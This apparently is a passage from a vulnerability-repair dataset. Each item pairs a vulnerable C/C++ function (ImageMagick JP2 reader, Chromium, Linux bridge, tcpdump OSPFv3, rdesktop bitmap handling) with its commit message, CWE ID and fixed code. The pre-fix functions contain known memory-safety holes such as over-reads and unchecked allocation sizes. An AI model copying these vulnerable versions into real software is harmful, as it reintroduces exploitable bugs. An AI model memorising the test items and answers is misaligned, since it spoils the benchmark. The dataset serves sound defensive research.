(jp2_image->numcomps <= 2) { SetImageColorspace(image,GRAYColorspace); if (jp2_image->numcomps > 1) image->matte=MagickTrue; } if (jp2_image->numcomps > 3) image->matte=MagickTrue; for (i=0; i < (ssize_t) jp2_image->numcomps; i++) if ((jp2_image->comps[i].dx > 1) || (jp2_image->comps[i].dy > 1)) SetImageColorspace(image,YUVColorspace); if (jp2_image->icc_profile_buf != (unsigned char *) NULL) { StringInfo *profile; profile=BlobToStringInfo(jp2_image->icc_profile_buf, jp2_image->icc_profile_len); if (profile != (StringInfo *) NULL) SetImageProfile(image,"icc",profile); } if (image->ping != MagickFalse) { opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); opj_destroy_cstr_index(&codestream_index); return(GetFirstImageInList(image)); } for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *restrict q; register ssize_t x; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { register ssize_t i; for (i=0; i < (ssize_t) jp2_image->numcomps; i++) { double pixel, scale; scale=QuantumRange/(double) ((1UL << jp2_image->comps[i].prec)-1); pixel=scale*(jp2_image->comps[i].data[y/jp2_image->comps[i].dy* image->columns/jp2_image->comps[i].dx+x/jp2_image->comps[i].dx]+ (jp2_image->comps[i].sgnd ? 1UL << (jp2_image->comps[i].prec-1) : 0)); switch (i) { case 0: { q->red=ClampToQuantum(pixel); q->green=q->red; q->blue=q->red; q->opacity=OpaqueOpacity; break; } case 1: { if (jp2_image->numcomps == 2) { q->opacity=ClampToQuantum(QuantumRange-pixel); break; } q->green=ClampToQuantum(pixel); break; } case 2: { q->blue=ClampToQuantum(pixel); break; } case 3: { q->opacity=ClampToQuantum(pixel); break; } } } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } /* Free resources. */ opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); opj_destroy_cstr_index(&codestream_index); return(GetFirstImageInList(image)); } Commit Message: CWE ID: CWE-119
static Image *ReadJP2Image(const ImageInfo *image_info,ExceptionInfo *exception) { const char *option; Image *image; int jp2_status; MagickBooleanType status; opj_codec_t *jp2_codec; opj_codestream_index_t *codestream_index = (opj_codestream_index_t *) NULL; opj_dparameters_t parameters; opj_image_t *jp2_image; opj_stream_t *jp2_stream; register ssize_t i; ssize_t y; unsigned char sans[4]; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Initialize JP2 codec. */ if (ReadBlob(image,4,sans) != 4) { image=DestroyImageList(image); return((Image *) NULL); } (void) SeekBlob(image,SEEK_SET,0); if (LocaleCompare(image_info->magick,"JPT") == 0) jp2_codec=opj_create_decompress(OPJ_CODEC_JPT); else if (IsJ2K(sans,4) != MagickFalse) jp2_codec=opj_create_decompress(OPJ_CODEC_J2K); else jp2_codec=opj_create_decompress(OPJ_CODEC_JP2); opj_set_warning_handler(jp2_codec,JP2WarningHandler,exception); opj_set_error_handler(jp2_codec,JP2ErrorHandler,exception); opj_set_default_decoder_parameters(&parameters); option=GetImageOption(image_info,"jp2:reduce-factor"); if (option != (const char *) NULL) parameters.cp_reduce=StringToInteger(option); option=GetImageOption(image_info,"jp2:layer-number"); if (option != (const char *) NULL) parameters.cp_layer=StringToInteger(option); if (opj_setup_decoder(jp2_codec,&parameters) == 0) { opj_destroy_codec(jp2_codec); ThrowReaderException(DelegateError,"UnableToManageJP2Stream"); } jp2_stream=opj_stream_create(OPJ_J2K_STREAM_CHUNK_SIZE,OPJ_TRUE); opj_stream_set_read_function(jp2_stream,JP2ReadHandler); opj_stream_set_write_function(jp2_stream,JP2WriteHandler); opj_stream_set_seek_function(jp2_stream,JP2SeekHandler); opj_stream_set_skip_function(jp2_stream,JP2SkipHandler); opj_stream_set_user_data(jp2_stream,image,NULL); opj_stream_set_user_data_length(jp2_stream,GetBlobSize(image)); if (opj_read_header(jp2_stream,jp2_codec,&jp2_image) == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } jp2_status=1; if ((image->columns != 0) && (image->rows != 0)) { /* Extract an area from the image. */ jp2_status=opj_set_decode_area(jp2_codec,jp2_image,image->extract_info.x, image->extract_info.y,image->extract_info.x+(ssize_t) image->columns, image->extract_info.y+(ssize_t) image->rows); if (jp2_status == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } } if (image_info->number_scenes != 0) jp2_status=opj_get_decoded_tile(jp2_codec,jp2_stream,jp2_image, (unsigned int) image_info->scene); else if (image->ping == MagickFalse) { jp2_status=opj_decode(jp2_codec,jp2_stream,jp2_image); if (jp2_status != 0) jp2_status=opj_end_decompress(jp2_codec,jp2_stream); } if (jp2_status == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } opj_stream_destroy(jp2_stream); for (i=0; i < (ssize_t) jp2_image->numcomps; i++) { if ((jp2_image->comps[i].dx == 0) || (jp2_image->comps[i].dy == 0)) { opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(CoderError,"IrregularChannelGeometryNotSupported") } } /* Convert JP2 image. */ image->columns=(size_t) jp2_image->comps[0].w; image->rows=(size_t) jp2_image->comps[0].h; image->depth=jp2_image->comps[0].prec; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } image->compression=JPEG2000Compression; if (jp2_image->numcomps <= 2) { SetImageColorspace(image,GRAYColorspace); if (jp2_image->numcomps > 1) image->matte=MagickTrue; } if (jp2_image->numcomps > 3) image->matte=MagickTrue; for (i=0; i < (ssize_t) jp2_image->numcomps; i++) if ((jp2_image->comps[i].dx > 1) || (jp2_image->comps[i].dy > 1)) SetImageColorspace(image,YUVColorspace); if (jp2_image->icc_profile_buf != (unsigned char *) NULL) { StringInfo *profile; profile=BlobToStringInfo(jp2_image->icc_profile_buf, jp2_image->icc_profile_len); if (profile != (StringInfo *) NULL) SetImageProfile(image,"icc",profile); } if (image->ping != MagickFalse) { opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); opj_destroy_cstr_index(&codestream_index); return(GetFirstImageInList(image)); } for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *restrict q; register ssize_t x; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { register ssize_t i; for (i=0; i < (ssize_t) jp2_image->numcomps; i++) { double pixel, scale; scale=QuantumRange/(double) ((1UL << jp2_image->comps[i].prec)-1); pixel=scale*(jp2_image->comps[i].data[y/jp2_image->comps[i].dy* image->columns/jp2_image->comps[i].dx+x/jp2_image->comps[i].dx]+ (jp2_image->comps[i].sgnd ? 1UL << (jp2_image->comps[i].prec-1) : 0)); switch (i) { case 0: { q->red=ClampToQuantum(pixel); q->green=q->red; q->blue=q->red; q->opacity=OpaqueOpacity; break; } case 1: { if (jp2_image->numcomps == 2) { q->opacity=ClampToQuantum(QuantumRange-pixel); break; } q->green=ClampToQuantum(pixel); break; } case 2: { q->blue=ClampToQuantum(pixel); break; } case 3: { q->opacity=ClampToQuantum(pixel); break; } } } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } /* Free resources. */ opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); opj_destroy_cstr_index(&codestream_index); return(GetFirstImageInList(image)); }
168,575
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: BluetoothChooserDesktop::~BluetoothChooserDesktop() { bluetooth_chooser_controller_->ResetEventHandler(); } Commit Message: Ensure device choosers are closed on navigation The requestDevice() IPCs can race with navigation. This change ensures that choosers are closed on navigation and adds browser tests to exercise this for Web Bluetooth and WebUSB. Bug: 723503 Change-Id: I66760161220e17bd2be9309cca228d161fe76e9c Reviewed-on: https://chromium-review.googlesource.com/1099961 Commit-Queue: Reilly Grant <[email protected]> Reviewed-by: Michael Wasserman <[email protected]> Reviewed-by: Jeffrey Yasskin <[email protected]> Cr-Commit-Position: refs/heads/master@{#569900} CWE ID: CWE-362
BluetoothChooserDesktop::~BluetoothChooserDesktop() { bluetooth_chooser_controller_->ResetEventHandler(); if (bubble_) bubble_->CloseBubble(BUBBLE_CLOSE_FORCED); }
173,202
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode( const scoped_refptr<H264Picture>& pic) { VLOGF(4) << "Decoding POC " << pic->pic_order_cnt; scoped_refptr<VaapiDecodeSurface> dec_surface = H264PictureToVaapiDecodeSurface(pic); return vaapi_dec_->DecodeSurface(dec_surface); } Commit Message: vaapi vda: Delete owned objects on worker thread in Cleanup() This CL adds a SEQUENCE_CHECKER to Vaapi*Accelerator classes, and posts the destruction of those objects to the appropriate thread on Cleanup(). Also makes {H264,VP8,VP9}Picture RefCountedThreadSafe, see miu@ comment in https://chromium-review.googlesource.com/c/chromium/src/+/794091#message-a64bed985cfaf8a19499a517bb110a7ce581dc0f TEST=play back VP9/VP8/H264 w/ simplechrome on soraka, Release build unstripped, let video play for a few seconds then navigate back; no crashes. Unittests as before: video_decode_accelerator_unittest --test_video_data=test-25fps.vp9:320:240:250:250:35:150:12 video_decode_accelerator_unittest --test_video_data=test-25fps.vp8:320:240:250:250:35:150:11 video_decode_accelerator_unittest --test_video_data=test-25fps.h264:320:240:250:258:35:150:1 Bug: 789160 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I7d96aaf89c92bf46f00c8b8b36798e057a842ed2 Reviewed-on: https://chromium-review.googlesource.com/794091 Reviewed-by: Pawel Osciak <[email protected]> Commit-Queue: Miguel Casas <[email protected]> Cr-Commit-Position: refs/heads/master@{#523372} CWE ID: CWE-362
bool VaapiVideoDecodeAccelerator::VaapiH264Accelerator::SubmitDecode( const scoped_refptr<H264Picture>& pic) { VLOGF(4) << "Decoding POC " << pic->pic_order_cnt; DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); scoped_refptr<VaapiDecodeSurface> dec_surface = H264PictureToVaapiDecodeSurface(pic); return vaapi_dec_->DecodeSurface(dec_surface); }
172,808
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int __br_mdb_del(struct net_bridge *br, struct br_mdb_entry *entry) { struct net_bridge_mdb_htable *mdb; struct net_bridge_mdb_entry *mp; struct net_bridge_port_group *p; struct net_bridge_port_group __rcu **pp; struct br_ip ip; int err = -EINVAL; if (!netif_running(br->dev) || br->multicast_disabled) return -EINVAL; if (timer_pending(&br->multicast_querier_timer)) return -EBUSY; ip.proto = entry->addr.proto; if (ip.proto == htons(ETH_P_IP)) ip.u.ip4 = entry->addr.u.ip4; #if IS_ENABLED(CONFIG_IPV6) else ip.u.ip6 = entry->addr.u.ip6; #endif spin_lock_bh(&br->multicast_lock); mdb = mlock_dereference(br->mdb, br); mp = br_mdb_ip_get(mdb, &ip); if (!mp) goto unlock; for (pp = &mp->ports; (p = mlock_dereference(*pp, br)) != NULL; pp = &p->next) { if (!p->port || p->port->dev->ifindex != entry->ifindex) continue; if (p->port->state == BR_STATE_DISABLED) goto unlock; rcu_assign_pointer(*pp, p->next); hlist_del_init(&p->mglist); del_timer(&p->timer); call_rcu_bh(&p->rcu, br_multicast_free_pg); err = 0; if (!mp->ports && !mp->mglist && netif_running(br->dev)) mod_timer(&mp->timer, jiffies); break; } unlock: spin_unlock_bh(&br->multicast_lock); return err; } Commit Message: bridge: fix some kernel warning in multicast timer Several people reported the warning: "kernel BUG at kernel/timer.c:729!" and the stack trace is: #7 [ffff880214d25c10] mod_timer+501 at ffffffff8106d905 #8 [ffff880214d25c50] br_multicast_del_pg.isra.20+261 at ffffffffa0731d25 [bridge] #9 [ffff880214d25c80] br_multicast_disable_port+88 at ffffffffa0732948 [bridge] #10 [ffff880214d25cb0] br_stp_disable_port+154 at ffffffffa072bcca [bridge] #11 [ffff880214d25ce8] br_device_event+520 at ffffffffa072a4e8 [bridge] #12 [ffff880214d25d18] notifier_call_chain+76 at ffffffff8164aafc #13 [ffff880214d25d50] raw_notifier_call_chain+22 at ffffffff810858f6 #14 [ffff880214d25d60] call_netdevice_notifiers+45 at ffffffff81536aad #15 [ffff880214d25d80] dev_close_many+183 at ffffffff81536d17 #16 [ffff880214d25dc0] rollback_registered_many+168 at ffffffff81537f68 #17 [ffff880214d25de8] rollback_registered+49 at ffffffff81538101 #18 [ffff880214d25e10] unregister_netdevice_queue+72 at ffffffff815390d8 #19 [ffff880214d25e30] __tun_detach+272 at ffffffffa074c2f0 [tun] #20 [ffff880214d25e88] tun_chr_close+45 at ffffffffa074c4bd [tun] #21 [ffff880214d25ea8] __fput+225 at ffffffff8119b1f1 #22 [ffff880214d25ef0] ____fput+14 at ffffffff8119b3fe #23 [ffff880214d25f00] task_work_run+159 at ffffffff8107cf7f #24 [ffff880214d25f30] do_notify_resume+97 at ffffffff810139e1 #25 [ffff880214d25f50] int_signal+18 at ffffffff8164f292 this is due to I forgot to check if mp->timer is armed in br_multicast_del_pg(). This bug is introduced by commit 9f00b2e7cf241fa389733d41b6 (bridge: only expire the mdb entry when query is received). Same for __br_mdb_del(). Tested-by: poma <[email protected]> Reported-by: LiYonghua <[email protected]> Reported-by: Robert Hancock <[email protected]> Cc: Herbert Xu <[email protected]> Cc: Stephen Hemminger <[email protected]> Cc: "David S. Miller" <[email protected]> Signed-off-by: Cong Wang <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20
static int __br_mdb_del(struct net_bridge *br, struct br_mdb_entry *entry) { struct net_bridge_mdb_htable *mdb; struct net_bridge_mdb_entry *mp; struct net_bridge_port_group *p; struct net_bridge_port_group __rcu **pp; struct br_ip ip; int err = -EINVAL; if (!netif_running(br->dev) || br->multicast_disabled) return -EINVAL; if (timer_pending(&br->multicast_querier_timer)) return -EBUSY; ip.proto = entry->addr.proto; if (ip.proto == htons(ETH_P_IP)) ip.u.ip4 = entry->addr.u.ip4; #if IS_ENABLED(CONFIG_IPV6) else ip.u.ip6 = entry->addr.u.ip6; #endif spin_lock_bh(&br->multicast_lock); mdb = mlock_dereference(br->mdb, br); mp = br_mdb_ip_get(mdb, &ip); if (!mp) goto unlock; for (pp = &mp->ports; (p = mlock_dereference(*pp, br)) != NULL; pp = &p->next) { if (!p->port || p->port->dev->ifindex != entry->ifindex) continue; if (p->port->state == BR_STATE_DISABLED) goto unlock; rcu_assign_pointer(*pp, p->next); hlist_del_init(&p->mglist); del_timer(&p->timer); call_rcu_bh(&p->rcu, br_multicast_free_pg); err = 0; if (!mp->ports && !mp->mglist && mp->timer_armed && netif_running(br->dev)) mod_timer(&mp->timer, jiffies); break; } unlock: spin_unlock_bh(&br->multicast_lock); return err; }
166,018
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: ospf6_decode_v3(netdissect_options *ndo, register const struct ospf6hdr *op, register const u_char *dataend) { register const rtrid_t *ap; register const struct lsr6 *lsrp; register const struct lsa6_hdr *lshp; register const struct lsa6 *lsap; register int i; switch (op->ospf6_type) { case OSPF_TYPE_HELLO: { register const struct hello6 *hellop = (const struct hello6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_PRINT((ndo, "\n\tOptions [%s]", bittok2str(ospf6_option_values, "none", EXTRACT_32BITS(&hellop->hello_options)))); ND_TCHECK(hellop->hello_deadint); ND_PRINT((ndo, "\n\t Hello Timer %us, Dead Timer %us, Interface-ID %s, Priority %u", EXTRACT_16BITS(&hellop->hello_helloint), EXTRACT_16BITS(&hellop->hello_deadint), ipaddr_string(ndo, &hellop->hello_ifid), hellop->hello_priority)); ND_TCHECK(hellop->hello_dr); if (EXTRACT_32BITS(&hellop->hello_dr) != 0) ND_PRINT((ndo, "\n\t Designated Router %s", ipaddr_string(ndo, &hellop->hello_dr))); ND_TCHECK(hellop->hello_bdr); if (EXTRACT_32BITS(&hellop->hello_bdr) != 0) ND_PRINT((ndo, ", Backup Designated Router %s", ipaddr_string(ndo, &hellop->hello_bdr))); if (ndo->ndo_vflag > 1) { ND_PRINT((ndo, "\n\t Neighbor List:")); ap = hellop->hello_neighbor; while ((const u_char *)ap < dataend) { ND_TCHECK(*ap); ND_PRINT((ndo, "\n\t %s", ipaddr_string(ndo, ap))); ++ap; } } break; /* HELLO */ } case OSPF_TYPE_DD: { register const struct dd6 *ddp = (const struct dd6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_TCHECK(ddp->db_options); ND_PRINT((ndo, "\n\tOptions [%s]", bittok2str(ospf6_option_values, "none", EXTRACT_32BITS(&ddp->db_options)))); ND_TCHECK(ddp->db_flags); ND_PRINT((ndo, ", DD Flags [%s]", bittok2str(ospf6_dd_flag_values,"none",ddp->db_flags))); ND_TCHECK(ddp->db_seq); ND_PRINT((ndo, ", MTU %u, DD-Sequence 0x%08x", EXTRACT_16BITS(&ddp->db_mtu), EXTRACT_32BITS(&ddp->db_seq))); if (ndo->ndo_vflag > 1) { /* Print all the LS adv's */ lshp = ddp->db_lshdr; while ((const u_char *)lshp < dataend) { if (ospf6_print_lshdr(ndo, lshp++, dataend)) goto trunc; } } break; } case OSPF_TYPE_LS_REQ: if (ndo->ndo_vflag > 1) { lsrp = (const struct lsr6 *)((const uint8_t *)op + OSPF6HDR_LEN); while ((const u_char *)lsrp < dataend) { ND_TCHECK(*lsrp); ND_PRINT((ndo, "\n\t Advertising Router %s", ipaddr_string(ndo, &lsrp->ls_router))); ospf6_print_ls_type(ndo, EXTRACT_16BITS(&lsrp->ls_type), &lsrp->ls_stateid); ++lsrp; } } break; case OSPF_TYPE_LS_UPDATE: if (ndo->ndo_vflag > 1) { register const struct lsu6 *lsup = (const struct lsu6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_TCHECK(lsup->lsu_count); i = EXTRACT_32BITS(&lsup->lsu_count); lsap = lsup->lsu_lsa; while ((const u_char *)lsap < dataend && i--) { if (ospf6_print_lsa(ndo, lsap, dataend)) goto trunc; lsap = (const struct lsa6 *)((const u_char *)lsap + EXTRACT_16BITS(&lsap->ls_hdr.ls_length)); } } break; case OSPF_TYPE_LS_ACK: if (ndo->ndo_vflag > 1) { lshp = (const struct lsa6_hdr *)((const uint8_t *)op + OSPF6HDR_LEN); while ((const u_char *)lshp < dataend) { if (ospf6_print_lshdr(ndo, lshp++, dataend)) goto trunc; } } break; default: break; } return (0); trunc: return (1); } Commit Message: CVE-2017-13036/OSPFv3: Add a bounds check before fetching data This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s), modified so the capture file won't be rejected as an invalid capture. CWE ID: CWE-125
ospf6_decode_v3(netdissect_options *ndo, register const struct ospf6hdr *op, register const u_char *dataend) { register const rtrid_t *ap; register const struct lsr6 *lsrp; register const struct lsa6_hdr *lshp; register const struct lsa6 *lsap; register int i; switch (op->ospf6_type) { case OSPF_TYPE_HELLO: { register const struct hello6 *hellop = (const struct hello6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_TCHECK_32BITS(&hellop->hello_options); ND_PRINT((ndo, "\n\tOptions [%s]", bittok2str(ospf6_option_values, "none", EXTRACT_32BITS(&hellop->hello_options)))); ND_TCHECK(hellop->hello_deadint); ND_PRINT((ndo, "\n\t Hello Timer %us, Dead Timer %us, Interface-ID %s, Priority %u", EXTRACT_16BITS(&hellop->hello_helloint), EXTRACT_16BITS(&hellop->hello_deadint), ipaddr_string(ndo, &hellop->hello_ifid), hellop->hello_priority)); ND_TCHECK(hellop->hello_dr); if (EXTRACT_32BITS(&hellop->hello_dr) != 0) ND_PRINT((ndo, "\n\t Designated Router %s", ipaddr_string(ndo, &hellop->hello_dr))); ND_TCHECK(hellop->hello_bdr); if (EXTRACT_32BITS(&hellop->hello_bdr) != 0) ND_PRINT((ndo, ", Backup Designated Router %s", ipaddr_string(ndo, &hellop->hello_bdr))); if (ndo->ndo_vflag > 1) { ND_PRINT((ndo, "\n\t Neighbor List:")); ap = hellop->hello_neighbor; while ((const u_char *)ap < dataend) { ND_TCHECK(*ap); ND_PRINT((ndo, "\n\t %s", ipaddr_string(ndo, ap))); ++ap; } } break; /* HELLO */ } case OSPF_TYPE_DD: { register const struct dd6 *ddp = (const struct dd6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_TCHECK(ddp->db_options); ND_PRINT((ndo, "\n\tOptions [%s]", bittok2str(ospf6_option_values, "none", EXTRACT_32BITS(&ddp->db_options)))); ND_TCHECK(ddp->db_flags); ND_PRINT((ndo, ", DD Flags [%s]", bittok2str(ospf6_dd_flag_values,"none",ddp->db_flags))); ND_TCHECK(ddp->db_seq); ND_PRINT((ndo, ", MTU %u, DD-Sequence 0x%08x", EXTRACT_16BITS(&ddp->db_mtu), EXTRACT_32BITS(&ddp->db_seq))); if (ndo->ndo_vflag > 1) { /* Print all the LS adv's */ lshp = ddp->db_lshdr; while ((const u_char *)lshp < dataend) { if (ospf6_print_lshdr(ndo, lshp++, dataend)) goto trunc; } } break; } case OSPF_TYPE_LS_REQ: if (ndo->ndo_vflag > 1) { lsrp = (const struct lsr6 *)((const uint8_t *)op + OSPF6HDR_LEN); while ((const u_char *)lsrp < dataend) { ND_TCHECK(*lsrp); ND_PRINT((ndo, "\n\t Advertising Router %s", ipaddr_string(ndo, &lsrp->ls_router))); ospf6_print_ls_type(ndo, EXTRACT_16BITS(&lsrp->ls_type), &lsrp->ls_stateid); ++lsrp; } } break; case OSPF_TYPE_LS_UPDATE: if (ndo->ndo_vflag > 1) { register const struct lsu6 *lsup = (const struct lsu6 *)((const uint8_t *)op + OSPF6HDR_LEN); ND_TCHECK(lsup->lsu_count); i = EXTRACT_32BITS(&lsup->lsu_count); lsap = lsup->lsu_lsa; while ((const u_char *)lsap < dataend && i--) { if (ospf6_print_lsa(ndo, lsap, dataend)) goto trunc; lsap = (const struct lsa6 *)((const u_char *)lsap + EXTRACT_16BITS(&lsap->ls_hdr.ls_length)); } } break; case OSPF_TYPE_LS_ACK: if (ndo->ndo_vflag > 1) { lshp = (const struct lsa6_hdr *)((const uint8_t *)op + OSPF6HDR_LEN); while ((const u_char *)lshp < dataend) { if (ospf6_print_lshdr(ndo, lshp++, dataend)) goto trunc; } } break; default: break; } return (0); trunc: return (1); }
167,847
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: PepperMediaDeviceManager* PepperPlatformAudioInput::GetMediaDeviceManager() { DCHECK(main_message_loop_proxy_->BelongsToCurrentThread()); RenderFrameImpl* const render_frame = RenderFrameImpl::FromRoutingID(render_frame_id_); return render_frame ? PepperMediaDeviceManager::GetForRenderFrame(render_frame) : NULL; } Commit Message: Pepper: Access PepperMediaDeviceManager through a WeakPtr Its lifetime is scoped to the RenderFrame, and it might go away before the hosts that refer to it. BUG=423030 Review URL: https://codereview.chromium.org/653243003 Cr-Commit-Position: refs/heads/master@{#299897} CWE ID: CWE-399
PepperMediaDeviceManager* PepperPlatformAudioInput::GetMediaDeviceManager() { DCHECK(main_message_loop_proxy_->BelongsToCurrentThread()); RenderFrameImpl* const render_frame = RenderFrameImpl::FromRoutingID(render_frame_id_); return render_frame ? PepperMediaDeviceManager::GetForRenderFrame(render_frame).get() : NULL; }
171,609
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: process_bitmap_updates(STREAM s) { uint16 num_updates; uint16 left, top, right, bottom, width, height; uint16 cx, cy, bpp, Bpp, compress, bufsize, size; uint8 *data, *bmpdata; int i; logger(Protocol, Debug, "%s()", __func__); in_uint16_le(s, num_updates); for (i = 0; i < num_updates; i++) { in_uint16_le(s, left); in_uint16_le(s, top); in_uint16_le(s, right); in_uint16_le(s, bottom); in_uint16_le(s, width); in_uint16_le(s, height); in_uint16_le(s, bpp); Bpp = (bpp + 7) / 8; in_uint16_le(s, compress); in_uint16_le(s, bufsize); cx = right - left + 1; cy = bottom - top + 1; logger(Graphics, Debug, "process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d", left, top, right, bottom, width, height, Bpp, compress); if (!compress) { int y; bmpdata = (uint8 *) xmalloc(width * height * Bpp); for (y = 0; y < height; y++) { in_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp); } ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata); xfree(bmpdata); continue; } if (compress & 0x400) { size = bufsize; } else { in_uint8s(s, 2); /* pad */ in_uint16_le(s, size); in_uint8s(s, 4); /* line_size, final_size */ } in_uint8p(s, data, size); bmpdata = (uint8 *) xmalloc(width * height * Bpp); if (bitmap_decompress(bmpdata, width, height, data, size, Bpp)) { ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata); } else { logger(Graphics, Warning, "process_bitmap_updates(), failed to decompress bitmap"); } xfree(bmpdata); } } Commit Message: Malicious RDP server security fixes This commit includes fixes for a set of 21 vulnerabilities in rdesktop when a malicious RDP server is used. All vulnerabilities was identified and reported by Eyal Itkin. * Add rdp_protocol_error function that is used in several fixes * Refactor of process_bitmap_updates * Fix possible integer overflow in s_check_rem() on 32bit arch * Fix memory corruption in process_bitmap_data - CVE-2018-8794 * Fix remote code execution in process_bitmap_data - CVE-2018-8795 * Fix remote code execution in process_plane - CVE-2018-8797 * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175 * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175 * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176 * Fix Denial of Service in sec_recv - CVE-2018-20176 * Fix minor information leak in rdpdr_process - CVE-2018-8791 * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792 * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793 * Fix Denial of Service in process_bitmap_data - CVE-2018-8796 * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798 * Fix Denial of Service in process_secondary_order - CVE-2018-8799 * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800 * Fix major information leak in ui_clip_handle_data - CVE-2018-20174 * Fix memory corruption in rdp_in_unistr - CVE-2018-20177 * Fix Denial of Service in process_demand_active - CVE-2018-20178 * Fix remote code execution in lspci_process - CVE-2018-20179 * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180 * Fix remote code execution in seamless_process - CVE-2018-20181 * Fix remote code execution in seamless_process_line - CVE-2018-20182 CWE ID: CWE-119
process_bitmap_updates(STREAM s) /* Process TS_BITMAP_DATA */ static void process_bitmap_data(STREAM s) { uint16 left, top, right, bottom, width, height; uint16 cx, cy, bpp, Bpp, flags, bufsize, size; uint8 *data, *bmpdata; logger(Protocol, Debug, "%s()", __func__); struct stream packet = *s; in_uint16_le(s, left); /* destLeft */ in_uint16_le(s, top); /* destTop */ in_uint16_le(s, right); /* destRight */ in_uint16_le(s, bottom); /* destBottom */ in_uint16_le(s, width); /* width */ in_uint16_le(s, height); /* height */ in_uint16_le(s, bpp); /*bitsPerPixel */ Bpp = (bpp + 7) / 8; in_uint16_le(s, flags); /* flags */ in_uint16_le(s, bufsize); /* bitmapLength */ cx = right - left + 1; cy = bottom - top + 1; /* FIXME: There are a assumtion that we do not consider in this code. The value of bpp is not passed to ui_paint_bitmap() which relies on g_server_bpp for drawing the bitmap data. Does this means that we can sanity check bpp with g_server_bpp ? */ if (Bpp == 0 || width == 0 || height == 0) { logger(Protocol, Warning, "%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x", __func__, left, top, right, bottom, width, height, bpp, flags); rdp_protocol_error("TS_BITMAP_DATA, unsafe size of bitmap data received from server", &packet); } if ((RD_UINT32_MAX / Bpp) <= (width * height)) { logger(Protocol, Warning, "%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x", __func__, left, top, right, bottom, width, height, bpp, flags); rdp_protocol_error("TS_BITMAP_DATA, unsafe size of bitmap data received from server", &packet); } if (flags == 0) { /* read uncompressed bitmap data */ int y; bmpdata = (uint8 *) xmalloc(width * height * Bpp); for (y = 0; y < height; y++) { in_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp); } ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata); xfree(bmpdata); return; } if (flags & NO_BITMAP_COMPRESSION_HDR) { size = bufsize; } else { /* Read TS_CD_HEADER */ 